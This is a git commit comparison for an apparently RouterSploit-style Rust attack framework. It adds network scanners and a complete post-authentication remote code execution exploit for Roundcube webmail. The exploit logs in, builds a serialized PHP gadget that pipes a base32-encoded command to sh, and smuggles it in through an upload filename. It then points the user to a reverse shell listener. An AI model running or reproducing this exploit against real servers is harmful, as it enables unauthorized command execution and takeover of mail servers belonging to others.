Compare commits

..

7 Commits

Author SHA1 Message Date
S.B e05c253bcb Add Roundcube post-auth RCE exploit 2025-06-17 01:18:13 +02:00
S.B 48bde25147 Update Cargo.toml 2025-06-17 01:03:55 +02:00
S.B 25c77dcb3b Update ping_sweep.rs 2025-06-17 01:03:03 +02:00
S.B 070e807b3e Merge pull request #16 from s-b-repo/codex/add-multiple-scanner-modules
Add ping sweep and HTTP title scanner modules
2025-06-17 00:29:05 +02:00
S.B a942303323 Add new ping sweep and HTTP title scanners 2025-06-17 00:22:35 +02:00
S.B 6a4aa3a2ad Merge pull request #15 from s-b-repo/codex/improve-modules-and-optimize-code
Refine proxy selection and fix generator path
2025-06-17 00:07:54 +02:00
S.B 0b1c1a8c7a fix generator path and improve proxy selection 2025-06-17 00:06:52 +02:00
11 changed files with 355 additions and 13 deletions
+7
View File
@@ -51,6 +51,7 @@ rdp = "0.12.8"
# ssdp moudle scanner
regex = "1.11.1"
ipnet = "2.11.0"
#camera uniview exploit
quick-xml = "0.37.4"
@@ -74,6 +75,9 @@ aes = "0.8.3"
cipher = "0.4.4"
flate2 = "1.0.30"
# for Roundcube exploit payload encoding
data-encoding = "2.5.0"
#avanti
url = "2.5.4"
semver = "1.0.26"
@@ -82,6 +86,9 @@ semver = "1.0.26"
pnet_packet = "0.34" # Or the latest compatible version
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
#pingsweep
which = "8.0.0"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
+2
View File
@@ -49,6 +49,8 @@ added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added ping_sweep network scanner
added http_title_scanner
added find command
updated docs
created docs
+1 -1
View File
@@ -163,7 +163,7 @@ Then:
```
rsf> help
rsf> modules
rsf> use scanners/port_scanner
rsf> use scanners/ping_sweep
rsf> set target 192.168.0.1
rsf> run
```
+2 -1
View File
@@ -6,7 +6,8 @@ use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("cred_dispatch.rs");
// Keep dispatch file naming consistent with build.rs
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
+1
View File
@@ -14,4 +14,5 @@ pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palto_alto;
pub mod roundcube;
+1
View File
@@ -0,0 +1 @@
pub mod roundcube_postauth_rce;
@@ -0,0 +1,217 @@
use anyhow::{anyhow, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use rand::distr::Alphanumeric;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::io::{self, Write};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
/// Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
.decode(PNG_B64)
.unwrap_or_default()
}
/// Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
let len = gpgconf.len();
format!(
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
len, gpgconf
)
}
fn generate_from() -> &'static str {
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::thread_rng().gen_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> String {
let mut rand_bytes = [0u8; 8];
rand::thread_rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_nanos()
.to_string();
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
}
fn generate_uploadid() -> String {
let millis = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_millis();
format!("upload{}", millis)
}
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
if res.status() != 200 {
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
}
Ok(res.text().await?)
}
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].to_string())
} else {
Err(anyhow!("CSRF token not found"))
}
}
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].parse().ok())
} else {
Ok(None)
}
}
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
let token = fetch_csrf_token(client, base).await?;
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let mut params = vec![
("_token", token),
("_task", "login".to_string()),
("_action", "login".to_string()),
("_url", "_task=login".to_string()),
("_user", username.to_string()),
("_pass", password.to_string()),
];
if !host.is_empty() {
params.push(("_host", host.to_string()));
}
let res = client
.post(url)
.form(&params)
.send()
.await
.map_err(|e| anyhow!("Login request failed: {e}"))?;
if res.status() != 302 {
return Err(anyhow!("Login failed: HTTP {}", res.status()));
}
Ok(())
}
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::thread_rng()
.sample_iter(Alphanumeric)
.take(8)
.map(char::from)
.collect();
let mut body = Vec::new();
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
body.extend_from_slice(&png);
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
let mut url = reqwest::Url::parse(base)?;
url.set_query(None);
url.query_pairs_mut()
.append_pair("_task", "settings")
.append_pair("_remote", "1")
.append_pair("_from", &format!("edit-!{}", generate_from()))
.append_pair("_id", &generate_id())
.append_pair("_uploadid", &generate_uploadid())
.append_pair("_action", "upload");
client
.post(url)
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
.body(body)
.send()
.await
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
Ok(())
}
/// Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
// HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
.redirect(Policy::none())
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()?;
if let Some(ver) = check_version(&client, &base_url).await? {
println!("[*] Detected Roundcube version: {}", ver);
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
println!("[!] Version appears vulnerable!");
} else {
println!("[-] Version not in known vulnerable range.");
}
} else {
println!("[?] Could not determine version.");
}
let mut username = String::new();
let mut password = String::new();
let mut host = String::new();
let mut command = String::new();
print!("Username: ");
io::stdout().flush()?;
io::stdin().read_line(&mut username)?;
print!("Password: ");
io::stdout().flush()?;
io::stdin().read_line(&mut password)?;
print!("Host parameter (optional): ");
io::stdout().flush()?;
io::stdin().read_line(&mut host)?;
print!("Command to execute: ");
io::stdout().flush()?;
io::stdin().read_line(&mut command)?;
let username = username.trim();
let password = password.trim();
let host = host.trim();
let command = command.trim();
if username.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Username, password and command must be provided"));
}
login(&client, &base_url, username, password, host).await?;
let serialized = build_serialized_payload(command);
upload_payload(&client, &base_url, &serialized).await
}
@@ -0,0 +1,33 @@
use anyhow::{Result, Context};
use regex::Regex;
use reqwest::Client;
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
let client = Client::builder()
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let title_re = Regex::new(r"(?i)<title>(.*?)</title>")?;
for scheme in ["http", "https"] {
let url = format!("{}://{}", scheme, target);
match client.get(&url).send().await {
Ok(resp) => {
let text = resp.text().await.unwrap_or_default();
if let Some(cap) = title_re.captures(&text) {
println!("[+] {} -> {}", url, cap.get(1).unwrap().as_str());
} else {
println!("[+] {} -> <no title>", url);
}
}
Err(e) => {
println!("[-] Failed {}: {}", url, e);
}
}
}
Ok(())
}
+2
View File
@@ -2,3 +2,5 @@ pub mod sample_scanner;
pub mod ssdp_msearch;
pub mod port_scanner;
pub mod stalkroute_full_traceroute;
pub mod http_title_scanner;
pub mod ping_sweep;
+81
View File
@@ -0,0 +1,81 @@
use anyhow::{Result, Context};
use ipnet::IpNet;
use std::net::IpAddr;
use std::sync::Arc;
use tokio::{
process::Command,
sync::Semaphore,
time::{timeout, Duration},
};
use std::io::{self, Write};
/// Main entry point for the RouterSploit auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
let cidr = prompt_for_cidr(target).await?;
execute_ping_sweep(&cidr).await
}
/// Prompt for a valid CIDR until received
async fn prompt_for_cidr(initial: &str) -> Result<String> {
// // Start with any provided value
let mut input = initial.trim().to_string();
loop {
// // If empty, ask user
if input.is_empty() {
print!("Enter target (CIDR, e.g., 192.168.1.0/24): ");
io::stdout().flush().ok();
input.clear();
io::stdin().read_line(&mut input)?;
input = input.trim().to_string();
}
// // Try to parse as CIDR
match input.parse::<IpNet>() {
Ok(_) => return Ok(input),
Err(_) => {
eprintln!("[!] Module failed: Use CIDR notation like 192.168.1.0/24\n\nCaused by:\n invalid IP address syntax");
input.clear();
continue;
}
}
}
}
/// Executes a ping sweep across the provided CIDR subnet
pub async fn execute_ping_sweep(target: &str) -> Result<()> {
// // Parse the target as CIDR (e.g., 192.168.1.0/24)
let net: IpNet = target.parse().context("Use CIDR notation like 192.168.1.0/24")?;
// // Collect all host IPs in the subnet
let hosts: Vec<IpAddr> = net.hosts().collect();
// // Use a semaphore to limit concurrency to 50
let semaphore = Arc::new(Semaphore::new(50));
let mut tasks = Vec::new();
for ip in hosts {
let sem = semaphore.clone();
let ip_str = ip.to_string();
tasks.push(tokio::spawn(async move {
// // Limit concurrent pings using the semaphore
let _permit = sem.acquire_owned().await.unwrap();
// // Use "ping" for IPv4, "ping6" for IPv6
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
let result = timeout(
Duration::from_secs(3),
Command::new(cmd)
.args(["-c", "1", "-W", "1", &ip_str])
.output(),
)
.await;
// // If ping succeeded, print that the host is up
if let Ok(Ok(out)) = result {
if out.status.success() {
println!("[+] Host {} is up", ip_str);
}
}
}));
}
for t in tasks {
let _ = t.await;
}
Ok(())
}
+8 -11
View File
@@ -1,7 +1,7 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use rand::prelude::*; // Updated for rand 0.10
use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
@@ -188,20 +188,17 @@ pub async fn interactive_shell() -> Result<()> {
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let untried: Vec<&String> = proxy_list.iter()
let mut rng = rand::rng();
let choices: Vec<&String> = proxy_list
.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if untried.is_empty() {
// Fall back if somehow there's nothing untried
let mut rng = rand::rng();
let idx = rng.random_range(0..proxy_list.len());
return proxy_list[idx].clone();
if let Some(choice) = choices.choose(&mut rng) {
choice.to_string()
} else {
proxy_list.choose(&mut rng).unwrap().to_string()
}
let mut rng = rand::rng();
let idx = rng.random_range(0..untried.len());
untried[idx].clone()
}
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)